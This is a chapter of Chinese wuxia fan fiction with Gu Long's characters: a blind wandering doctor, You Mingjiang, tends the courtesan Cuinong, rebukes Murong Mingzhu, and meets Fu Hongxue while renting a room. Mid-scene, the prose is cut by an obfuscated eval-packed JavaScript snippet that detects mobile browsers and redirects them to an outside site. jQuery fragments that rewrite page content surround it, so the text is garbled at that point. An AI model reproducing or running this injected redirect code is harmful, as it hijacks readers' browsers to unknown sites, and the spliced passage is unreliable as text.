二楼。
慕容明珠与萧别离并肩而立,将楼下闹剧一览无余。
手紧紧攥着栏杆,指节泛白,骨节咯咯作响,慕容明珠恨不得一剑捅死尤明姜!
但他毕竟不是莽夫,心里比谁都清楚,对方是他无法抗衡的存在。
萧别离淡淡一笑:“走,看看去。”
他脸上阵青阵白,自知沦为了萧别离的笑柄,却偏要做出一副满不在乎的模样。深吸一口气,慕容明珠松开了紧握的栏杆,缓缓转身,一步一步走下楼梯。
.
翠浓昏昏沉沉地坐在地上。
挨了几个狠辣的嘴巴,她发丝凌乱,嘴角青青紫紫,还断断续续地流血。
强撑着想要站起身来,怀中沉甸甸的琵琶,却隐隐有滑落之势。
方才摔倒时,她的胳臂狠摔了一下,似是伤到了骨头,颤抖着使不上力气。
眼瞅着琵琶就要摔落在地上,一道白影闪过,稳稳地接住了这把琵琶。
尤明姜眉头轻蹙,怀中抱着琵琶,单膝半蹲在翠浓跟前。她不自觉放轻声音,生怕吓到这个初次谋面的可怜姑娘。
“姑娘……你还好吗?”
·
翠浓抬起头,怔怔地望向了这个蒙眼的年轻铃医。
近在咫尺间,一阵清凉的紫草味儿悠悠袭来,涌入她被扇得酸麻的鼻腔中。
翠浓能真切听出,对方语气里毫不掺假的关爱。这一份久违的善意,干净而纯粹,赤诚得没有一丝杂质。
垂眸,深吸一口气,翠浓又抬起眼来,目光灼灼,想要将眼前的恩人印在心底。
这时候,翠浓不想探究这个人的来历和过往,她只笃定,这个人救了自己。
曾几何时,她也期冀过普通人的生活。可她终究挣不脱血缘的枷锁,只能在命运的漩涡里身不由己,沉沦在烟花之地。
如果那个时候,能有这样一个人拉自己一把,那她是不是会迎来曙光?
哪怕那一丝光亮再微弱,也足以让她死寂的灵魂重新燃起希望。
·
“不哭不哭,没事了——”
捕捉到翠浓细微的抽泣声,尤明姜轻拎起袍袖,仔细地给她擦眼泪。
这一瞬间,翠浓的心重重地漏跳了一拍。
她后知后觉地抬起手,缓缓抚上眼睑,指尖触碰到一片湿润。
不知从何时起,泪水早已悄然滑落,打湿了脸颊,翠浓别过头去,像是被人撞破了心底最隐秘的脆弱,胡乱擦着嘴角和眼睛。
“小心碰到伤口。”尤明姜伸手,挡住她的动作,把琵琶塞到她的怀里。
翠浓一怔,没说话,任由尤明姜摆弄。
见翠浓的嘴角挂着血污,尤明姜不禁皱了皱眉,随即拿起医用脱脂无菌纱布,蘸取碘伏,轻轻涂抹在她青紫交错的嘴角。
翠浓忍不住紧紧咬住下唇,双手下意识地搂紧怀中的琵琶,可还是微微仰头,十分配合尤明姜的动作。
.
尤明姜力道很轻,每一下擦拭都小心翼翼,仿佛生怕弄疼了翠浓,她轻声细语:“疼就告诉我,我再轻一点儿。”
翠浓轻轻摇了摇头,目光落在尤明姜专注的脸上,心中泛起一阵复杂的情绪。
“刚……刚才他磕头赔罪了……”翠浓声音还有些发颤,心有余悸地说道。
她说的是那个喝醉的紫衣大汉。
尤明姜仔细收拾着沾了血污的脏纱布,语气淡淡的,却透着不容置疑:“他那是冲我磕的头。伤了谁,就该给谁磕头赔不是,这道理他都不懂?”
翠浓抽噎着,声音里满是苦涩,“我只不过是个烟花女子……”
尤明姜手上的动作顿了顿,抬眸与她对视:“一个有血有肉有灵魂的人,就值得被好好对待。”
听到这句话,翠浓的泪水夺眶而出,顺着脸颊滑落,滴在她的手背上。
·
忽然,一阵轮子滚动的声音从远处传来,打破了这份短暂的宁静。
翠浓神情一僵,尤明姜心生疑惑,抬眸望去,只见一位身穿烫金黑袍的清癯男人,双膝以下被人斩断,只能坐在藤编轮椅上,他嘴角含笑,遥遥地望着她。
这位就是无名居的萧别离,萧老板。
尤明姜心头一动,冲他点了点头。
眼角余光瞥见翠浓的异样——
下唇几乎被她咬出了血印,跟个猎狗盯上的小鹿似的,恨不得将自己缩进地缝里。
感受到了她的不安,尤明姜的手抬起,微微顿了一瞬,才轻按上翠浓的后脑勺。
尤明姜让她的脸埋进自己颈窝,低声安抚道:“别怕,我在呢。”
.
萧别离保持着温和的笑容,扶手上配了机括,轻轻一按,轮子就滚滚向前转动。
他的身后还跟着个慕容明珠。
整个偌大的无名居,冷冷清清的,只剩下了在场的四人。
慕容明珠打量着尤明姜,又看了一眼翠浓,皮笑肉不笑道:“敢情翠浓姑娘是攀上高枝儿了,难怪看不上我慕容家的人。”
“自己没本事,就别在这酸言酸语。”
看都没看慕容明珠一眼,侧身搀着翠浓站起身,尤明姜动作轻柔,将她安置在一旁的椅子上。
她语气里满是不屑,冷冷吐出一句:“知道慕容家为什么一代不如一代吗?”
慕容明珠神色一凛,“你胡说什么!”
尤明姜淡淡说道:“因为你八辈子祖宗从不犯贱。”
“你!”慕容明珠的眼睛瞪得滚圆,额头上青筋暴起,却敢怒不敢言。
萧别离大笑道:“敢问阁下尊姓大名?”
“尤明姜。”她淡淡说道。
“在我眼里,翠浓姑娘是牡丹,牡丹可不是什么攀高枝的花儿。人挪活,花挪也不一定死。”
萧别离微微挑眉,听懂了她的弦外之音,他看着尤明姜,微笑道:“牡丹雍容又娇贵,自然是要被人精心照料的,强行带走,恐怕牡丹会凋零呢。”
尤明姜反驳道:“看来萧老板不太懂花。”
萧别离道:“哦?”
“牡丹素来是不冻不开花,即便植株自身生长状态很差,也会拼尽全力绽放花朵,哪里是什么娇贵之花?”
“这可是要问问翠浓的意思。”萧别离突然笑了笑,看向翠浓:“我不阻拦你,你本来就是自由的,只要你愿意,随时可以离开。”
翠浓脸色一白,想起了马空群的叮嘱,还是忍痛拒绝了尤明姜的善意。
“对不起。”
“……为什么这么说?”
“我不能走。”
尤明姜张了张嘴,却未发出声音。
翠浓自嘲地笑了笑:“我喜欢这里。”
开什么玩笑。尤明姜握紧了拳头,心中五味杂陈,沉默良久,
短暂的一瞬间,尤明姜忽然觉得喘不上气来,但很快,她就调整好了心态。
她的错。
她不该天真地觉得,救赎是一蹴而就的。
从来就没有容易的路。
尤明姜笑了笑:“我的枣红马不太方便牵着,我实在放心不下。能不能麻烦你帮我照看两天?……两天后,我再来找你。”
翠浓愣了愣,眼中泪光闪闪,笑了起来。
.
月亮静静地升起来了。
浓墨似的夜色中隐隐传来狼嚎声,回荡在这片荒芜之地。
夜风愈刮愈大,她戴上笠帽,压了压帽檐,快步走进了暗巷中,身影湮没在了黑暗中……
“吉屋招——租。”
手指碾平了翘角泛白的红裱纸,她双手撑膝,凑在一间泥坯屋子的木板门前,努力辨认着字迹,只是凑得越近,食物的香气就越浓。
尤明姜咽了咽口水,要是房东的厨艺稳定,租了房子以后,叫她多添一些钱充作伙食费,她也是愿意的。
三餐岂不省事?
可是这一张招租的红裱纸,大约是贴了不短的日子。风吹日晒的,甭说浓墨晕染的模糊字迹,连红裱纸都褪色了……
怕不是早就租了出去?
正纠结要不要敲门,一只苍白修长的手越过她的脸,在木门上“叩叩叩”地敲了三下。
嗯?尤明姜直起腰,神色微微讶异,转过脸来。
借着门缝中透出来的微光,她瞧清楚了眼前的黑衣少年。
他握着一柄通身漆黑的刀,漆黑的头发,苍白的脸,唇色淡淡的,整个人看起来很干净。
尤明姜偷瞄了两眼他的刀,这把刀的外形很奇特,这是一把通体漆黑的刀。
瞥了她一眼,黑衣少年
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872563|159209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
垂下眼,眼睫轻颤,恹恹地盯着自己的脚,握刀的左手微微收紧。
就在这时,屋内传来一道苍老的声音:“谁呀?”
尤明姜赶紧道:“租客!”
“哦,租客呀……就来,就来。”随后就是一阵窸窸窣窣的动静,似乎是在收拾碗筷,主人家年龄大了,动作有些迟缓,尤明姜也不急着催。
她看着黑衣少年,视线触及他苍白的脸,又瞧了眼他没有血色的嘴唇,下意识地皱了皱眉,从褡裢里掏了几块饴糖,手掌心托着糖块子,伸到了他的眼前。
尤明姜颠了颠手,先捡了一块塞进自己嘴里,温声搭话:“你也是来租房子的吧?赶早不如赶巧……喏,高粱软饴糖,你也尝一尝。”
傅红雪怔了怔,垂下眼,凝望着她掌心中的那几块饴糖。指尖微微颤动,又捏紧了拳头,指节因用力而泛白,终究还是没有接过来。
“你认识我?”他说话慢吞吞的,好像经过了一番心理斗争,才挤出这几个字。
“不认识。”
“为什么要请我吃糖?”
话音刚落,便听到雪袍笠帽的年轻铃医,惊奇地叫了一声:“啊?”
“……”傅红雪抿唇,绷紧下颚线。
每当他自认为说错了话,就会下意识地做这个小动作。
却听对方笑着打趣:“你这人气度不俗,相貌不俗,观念却俗得很呢!”
“①天地这么大,人却这么小。相请不如偶遇,我请你吃一块糖,又有何不可?”她忽又一笑,补充道:“适当吃糖,可以缓解一下乏力和心慌。”
面色苍白、乏力、心慌……
这些都是典型的贫血症状。
恕她直言,他看起来好像患了贫血病。
来自陌生人的温情,让他恍惚了一瞬,又立刻回过神来,傅红雪摇了摇头:“不必。”
他神情淡漠,脸色苍白,漆黑的眸子中盛满了悲怆,宛如一朵枯萎的山茶花,褪去了鲜活的颜色。
对傅红雪来说,为了报仇雪恨,他准备了整整十八年!只要大仇一日未报,他就一日不得享乐,一日不能松弛!
察觉到他的抵触,尤明姜愣了一下,把饴糖塞回了褡裢中。
·
过了一盏茶的功夫,只听“咔嚓”一声,老婆婆慢吞吞地拆下了一块门板,灯光从缝隙中倾泻了出来。
夜风吹拂起她的皂纱,摇曳的灯光照亮了她漂亮的脸,蒙眼的黑绸带格外醒目。
……瞎子?
傅红雪愣在了原地,原来眼前的青年竟然是个不能视物的瞎子?
只瞧着她行走无碍,说话充满阳光,他还以为对方是个健全的普通人。能做到这种地步,想必是长时间的听声辨位,才锻炼出来的本事。
呆呆地盯着年轻人脸上的黑绸带,傅红雪抿紧了唇,浓烈的愧疚涌上心头。
刚刚分糖时,她的态度是那么温善,说不定是鼓足了全部的勇气,他却兜头浇了人家一瓢冷水澡,他忍不住质问自己:“为什么要亵渎这个残疾人的善意?!”
无心伤害也是一种伤害!
傅红雪越想越是痛苦,这些年来,他的心头总是盘旋着一个疑问,为什么要生下他?为什么要把他带到这个痛苦的人世间?
尤明姜一抬头,就瞧见了黑衣少年微微泛红的狭长眼尾,瞧向自己的眼神,更是充满了挣扎和苦闷。
蛤?
这是什么情况?
“……你还好么?”一晚上说了两遍,问候的话语已是驾轻就熟了。
傅红雪不作声,只是看着她,眼中的郁色消退了些。
她一怔,不知道说些什么,只好看着傅红雪,二人之间的气氛渐渐怪异起来。
恰在此时,佝偻着腰的老婆婆终于卸下另一块木板,从门里探出半边身子来,不着痕迹地观察着二人。
好半晌,老太婆终于露了个笑脸:“灯花爆,贵客到。里屋还空着一间呢,你们进来瞧瞧吧。”
傅红雪跨进了门槛,脚步顿了顿,又折返回来,苍白的脸上浮现出一抹歉色,善意地踢了踢门槛,弄出了点儿动静。
“小心。”他温声说道。
他怎么突然转了性子?尤明姜歪了歪头,暗暗思忖:故意踢门槛……
难道是把她当成瞎子了?